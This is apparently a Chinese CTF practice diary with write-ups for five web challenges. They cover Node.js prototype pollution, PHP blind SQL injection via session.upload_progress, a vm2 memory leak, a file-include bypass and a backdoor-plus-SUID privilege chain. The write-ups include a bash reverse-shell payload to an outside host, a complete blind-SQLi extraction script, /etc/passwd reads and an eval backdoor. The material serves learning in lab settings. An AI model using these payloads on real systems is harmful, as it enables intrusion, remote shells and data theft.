刷题日记 date 6.7

BUU刷题

[网鼎杯 2020 青龙组]notes

1.打开下载的源码:

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

2.初步审计了源代码,我们主要的可控的输入点还是在edit_noteget_note这两个功能中。而这两个功能是在类Notes中,node.js的类实际上还是语法糖,本质还是函数。这些功能大部分用的都是这个模块undefsafe,github上面issue查找,找到了CVE-2019-10795,该模块的第二、第三个参数可控造成的原型链污染。

3.undefsafe模块主要是为了处理对象属性不存在造成报错导致程序中止的问题,引入该模块当我们输入的对象属性不存在时,会直接输出undefined,并不会让程序直接异常退出。当我们给对象的属性赋值,如果属性存在,那么将会修改该属性;如果属性不存在,它会直接将属性在上层创建,然后赋值后加入对象中。

const undefsafe = require('undefsafe');
var a = {
    "b" : {
        "c" :{
            "d" : "test",
            "e" : 33,
            "f" : [1,2,3]
        }
    }
} 
console.log(undefsafe(a, "b.c.g")) //undefined
undefsafe(a,"b.c.e",666)
console.log(a)//{b:{c:{d:'test',e:666,f:[Array]}}
undefsafe(a,"b.g.j",999)
console.log(a)//{b:{c:{d:'test',e:666,f:[Array]},j:666}

4.漏洞就产生在赋值这一块,当我们要赋值的属性为__proto__.test,属性值是'polluted',然后输出该对象的属性test,可以发现会输出polluted,代表该对象的属性test已经被污染了。

5.不过此时可以发现get_note函数只有一个可控参数,不满足利用条件;而路由/edit_note的三个输入的参数都可控,它直接将输入其中两个参数传进了函数中,刚好是undefsafe函数的二、三参数。

6.那么下一步就是找要污染的对象和属性了,可以发现在/status路由中使用了child_process模块执行了uptime命令和free -m命令。那么我们要是污染commands,在里面添加一个属性,那也将命令执行。而commandsnote_list继承的都是同一个原型object {}。所以我们尽管污染的是node_list的属性,但也相当于是污染commands,然后在里面添加想执行的命令就行。

7.最后bash反弹shell,最好先url编码一下,然后在根目录找到flag,payload:

id=__proto__.script&author=bash -i >& /dev/tcp/x.x.x.x/6663 <&1

[PwnThyBytes 2019]Baby_SQL

1.F12发现源码,下载审计。首先查看index.php代码,发现输入基本都用过滤器给过滤了,有个?p参数,通过它可以访问到其他登陆注册界面。然后再去查看/templates/login.php,发现了很明显的sql注入。

<?php

!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';

$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);

2.$_SESSION存在的前提是使用了session_start();将其开启,如果直接访问该界面,将会直接die。那么这题关键点就是,如何在session_start()不存在的前提下,绕过die(),然后进行注入呢???

3.首先明确的是,当我们访问index.php已经生成了$_SESSION,只不过没有使用session_start()函数,无法从session仓库加载已经存储的session变量。然后搜到了一条配置项的说明:

session_start();
告诉服务器使用session。一般来说,php是不会主动使用session的。
不过可以设置php.ini中的session.auto_start=1来自动对每个请求使用。
而用了session_start(),或者自动开启session,
服务器会根据请求头部传来的cookie中或url中的PHPSESSID来确认此sessionid对应的$_SESSION数组。

4.当然该配置项是默认关闭的,那就只能另辟蹊径了。wp给出的办法是session.upload_progress.enabled配置项,它是默认开启的。一般用到这个配置项,往往是有文件包含漏洞配合条件竞争上传来rce,又或者是条件竞争配合反序列化漏洞,这篇文章session.upload_progress进行文件包含和反序列化学习 。所以当session.upload_progress.enabled配置项打开时,并且我们POST传入PHP_SESSION_UPLOAD_PROGRESS,php也会执行session_start()

5.所以我们用post传递PHP_SESSION_UPLOAD_PROGRESS的同时,get也传递构造好的盲注语句,判断是否有try again正常爆破就行了。先写个demo看看是不是能绕过:
demo:

import requests

url = "url/login.php"
file = {"file" :"123456"}
r = requests.post(url = url ,data={"PHP_SESSION_UPLOAD_PROGRESS":"123456"},cookies={"PHPSESSID":"guangji"},files=file)
print(r.text)
-------------------------------------------------------------------------
Try again!

6.再试试构造的sql语句能否执行:

import requests

url = "url/login.php"
p = {"username":'1" or (ascii(substr((select database()),1,1))>1)#','password':'test'}
file = {"file" :"123456"}
r = requests.post(url = url,params=p,data={"PHP_SESSION_UPLOAD_PROGRESS":"123456"},cookies={"PHPSESSID":"guangji"},files=file)
print(r.text)
---------------------------------------------------------------------
<meta http-equiv="refresh" content="0; url=?p=home" />

7.最后设定参数,用盲注脚本跑,跑的时候会有字符错误,多跑几遍然后自己再判断一下:

import requests

url = "http://37924297-b79c-4592-a270-30b38ac9a04f.node4.buuoj.cn:81/templates/login.php"
file = {"file" :"123456"}
flag = ""
for i in range(1,50):
    low = 32
    high = 127
    mid = (low + high) // 2
    while(low < high):
        p = {"username":'1" or (ascii(substr((select group_concat(secret) from flag_tbl),{},1))>{})#'.format(i,mid),'password':'test'}
        r = requests.post(url = url,params=p,data={"PHP_SESSION_UPLOAD_PROGRESS":"123456"},cookies={"PHPSESSID":"guangji"},files=file)
        print(r.text)
        if "?p=home" in r.text:
            low = mid + 1
        else :
            high = mid
        mid = (low + high) // 2
    flag += chr(mid)
    print(flag)

[HITCON 2016]Leaking

1.打开是段js代码:

"use strict";

var randomstring = require("randomstring");
var express = require("express");
var {
    VM
} = require("vm2");
var fs = require("fs");

var app = express();
var flag = require("./config.js").flag

app.get("/", function(req, res) {
    res.header("Content-Type", "text/plain");

    /*    Orange is so kind so he put the flag here. But if you can guess correctly :P    */
    eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")
    if (req.query.data && req.query.data.length <= 12) {
        var vm = new VM({
            timeout: 1000
        });
        console.log(req.query.data);
        res.send("eval ->" + vm.run(req.query.data));
    } else {
        res.send(fs.readFileSync(__filename).toString());
    }
});

app.listen(3000, function() {
    console.log("listening on port 3000!");
});

1.一开始以为是VM2的沙盒逃逸,但是它把flag直接放在了随机生成的变量名var flag_<random*64>中,说明需要读取该变量。

2.打开github找issue,发现了一个Potential memory leak? 刚好和标题名字相似,该篇话题的内容大概是每次运行沙箱环境时,都会泄露一些内存。

3.低版本的node可以用Buffer()来查看内存,只要调用过的变量,都会在内存里,这题就是用到这个特性,传递?data=Buffer(9999),多传几次就能在页面看到调用存储flag的变量了。

NSSCTF

[NSSRound#8 Basic]MyPage

1.目录扫描,扫了个flag.php。

2.文件包含,貌似过滤了一些东西,比如file、var等,于是使用php://filter/read=convert.base64-encode/resource=/etc/passwd能成功读取。但是读取index.phpflag.php返回空白。

3.wp说是猜测require_once一次包含,这个我是真没猜到,因为啥提示都没有,我猜测的是可能设置了文件读写权限。反正直接用/proc/self/root突破一下一次包含就行,然后再用/proc/self/cwd/软链接文件到当前工作目录读取flag.php

4.payload:

?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/flag.php

[湖湘杯 2021 final]Penetratable

1.先注册个用户,进入后台发现有修改密码的地方,抓包查看是否有逻辑越权,但是由于需要旧密码,导致这步失败了。

2.一般这种界面很可能有二次注入,测试后发现用户名使用admin"#,到了主页修改密码的用户名就变成了admin。于是修改密码,然后登陆admin。

3.admin主页查看功能点也就只能看见注册的用户,由于第一个root用户的密码并不能通过这种方式修改,于是还得找其他办法登陆root。

4.注意到管理员的修改密码功能被禁止了,查看req.js文件,找到了一段js,这里有隐藏的修改密码接口。

function updatePass(){
    // let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
    // let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
    // let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
    // let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
    // $.ajax({
    //     url: '/?c=admin&m=updatePass',
    //     type: 'post',
    //     data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
    //     // async:true,
    //     dataType: 'text',
    //     success: function(data){
    //         alertHandle(data);
    //     }
    // });
}

5.尝试访问?c=admin&m=updatePass,post传参name=cm9vdA==&newPass=e10adc3949ba59abbe56e057f20f883e,成功将root用户密码重置为123456。这种方式我刚开始在普通用户的测试越权时试过是不行的,可能是由于这个账号是admin的原因导致这种方式又能成功越权执行了。

6.刚开始就在root的req.js文件中发现了root用户具有的download功能,光看参数就觉得是任意文件读取。进入root后台测试,/?c=root&m=downloadRequestLog&filename=../../../../../../etc/passwd成功读取文件。

7.尝试读取源代码,文件有点多,先用后台扫一波,发现phpinfo.php,读取一下发现关键代码:

<?php 
if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);} 
// hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability.
?>

8.cmd5解密得到后门密码为1q2w3e,然后写shell失败。由于设置了密码,直接连不了,只能传参?pass_31d5df001717=1q2w3e&cc=$_POST[0]。然后蚁剑链接,查看目录基本都只有读和执行的权限。

9.蚁剑开终端,查看具有suid权限的命令find / -user root -perm -4000 -exec ls -ldb {} \;,除了一些正常的命令外,还找到了一个sed命令。利用sed命令读取/flag第一行的内容:sed -n '1p' /flag,成功读取flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值